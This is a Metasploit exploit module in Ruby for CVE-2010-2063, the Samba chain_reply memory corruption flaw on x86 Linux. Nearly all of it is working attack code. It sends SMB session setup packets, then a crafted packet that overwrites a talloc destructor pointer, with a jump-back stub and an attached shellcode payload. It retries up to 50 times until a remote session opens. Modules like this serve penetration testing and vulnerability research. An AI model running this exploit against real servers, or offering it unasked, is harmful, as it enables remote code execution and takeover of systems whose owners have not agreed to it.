Samba chain_reply Memory Corruption (Linux x86)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',
        'Description' => %q{
          This exploits a memory corruption vulnerability present in Samba versions
          prior to 3.3.13. When handling chained response packets, Samba fails to validate
          the offset value used when building the next part. By setting this value to a
          number larger than the destination buffer size, an attacker can corrupt memory.
          Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
          cause the header of the input buffer chunk to be corrupted.

          After close inspection, it appears that 3.0.x versions of Samba are not
          exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
          cause memory to be corrupted in an exploitable way. It is possible to corrupt the
          heap header of the "InputBuffer", but it didn't seem possible to get the chunk
          to be processed again prior to process exit.

          In order to gain code execution, this exploit attempts to overwrite a "talloc
          chunk" destructor function pointer.

          This particular module is capable of exploiting the flaw on x86 Linux systems
          that do not have the nx memory protection.

          NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
          for user sessions in the default configuration.
        },
        'Author' => [
          'Jun Mao', # Initial discovery
          'jduck'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-2063' ],
          [ 'OSVDB', '65518' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 0x600,
          'BadChars' => ''
        },
        'Platform' => 'linux',
        'Targets' => [
          [
            'Linux (Debian5 3.2.5-4lenny6)',
            {
              'Offset2' => 0x1fec,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
                  'Stop' => { 'Ret' => 0x081ed5f2 },
                  'Step' => 0x300 # not used
                }
            }
          ],
          [
            'Debugging Target',
            {
              'Offset2' => 0x1fec,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xAABBCCDD },
                  'Stop' => { 'Ret' => 0xAABBCCDD },
                  'Step' => 0x300
                }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-06-16',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [UNRELIABLE_SESSION]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(139)
      ]
    )

    deregister_options('SMB::ProtocolVersion')
  end

  #
  # Note: this code is duplicated from lib/rex/proto/smb/client.rb
  #
  # Authenticate using clear-text passwords
  #
  def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
    data = [ pass, user, domain, simple.client.native_os, simple.client.native_lm ].collect { |a| a + "\x00" }.join('')

    pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
    simple.client.smb_defaults(pkt['Payload']['SMB'])

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
    pkt['Payload']['SMB'].v['Flags1'] = 0x18
    pkt['Payload']['SMB'].v['Flags2'] = 0x2001
    pkt['Payload']['SMB'].v['WordCount'] = 10
    pkt['Payload'].v['AndX'] = 255
    pkt['Payload'].v['MaxBuff'] = 0xffdf
    pkt['Payload'].v['MaxMPX'] = 2
    pkt['Payload'].v['VCNum'] = 1
    pkt['Payload'].v['PasswordLen'] = pass.length + 1
    pkt['Payload'].v['Capabilities'] = 64
    pkt['Payload'].v['SessionKey'] = simple.client.session_id
    pkt['Payload'].v['Payload'] = data

    simple.client.smb_send(pkt.to_s)
    simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
  end

  def brute_exploit(addrs)
    curr_ret = addrs['Ret']

    # Although ecx always points at our buffer, sometimes the heap data gets modified
    # and nips off the final byte of our 5 byte jump :(
    #
    # Solution: try repeatedly until we win.
    #
    50.times do
      begin
        print_status('Trying return address 0x%.8x...' % curr_ret)

        connect(versions: [1])
        simple.client.session_id = rand(31337)

        # select(nil,nil,nil,2)
        # puts "press any key"; $stdin.gets

        #
        # This allows us to allocate a talloc_chunk after the input buffer.
        # If doing so fails, we are lost ...
        #
        10.times do
          session_setup_clear_ignore_response('', '', '')
        end

        # We re-use a pointer from the stack and jump back to our original "inbuf"
        distance = target['Offset2'] - 0x80
        jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string

        tlen = 0xc00
        trans =
          "\x00\x04" \
          "\x08\x20" \
          "\xff" + 'SMB' +
          # SMBlogoffX
          [0x74].pack('V') +
          # tc->next, tc->prev
          jmp_back + ("\x42" * 3) +
          # ("A" * 4) + ("B" * 4) +
          # tc->parent, tc->child
          'CCCCDDDD' +
          # tc->refs, must be zero
          ("\x00" * 4) +
          # over writes tc->destructor
          [addrs['Ret']].pack('V') +
          "\x00\x00\x00\x00" \
          "\xd0\x07\x0c\x00" \
          "\xd0\x07\x0c\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\xd0\x07" \
          "\x43\x00\x0c\x00" \
          "\x14\x08\x01\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x00\x00" \
          "\x00\x00\x90"

        # We put the shellcode first, since only part of this packet makes it into memory.
        trans << payload.encoded
        trans << rand_text(tlen - trans.length)

        # Set what eventually becomes 'smb_off2' to our unvalidated offset value.
        smb_off2 = target['Offset2']
        trans[39, 2] = [smb_off2].pack('v')

        sock.put(trans)
      rescue EOFError => e
        vprint_error(e.message)
      rescue StandardError => e
        print_error(e.to_s)
      end

      handler
      disconnect

      # See if we won yet..
      select(nil, nil, nil, 1)
      break if session_created?
    end
  end
end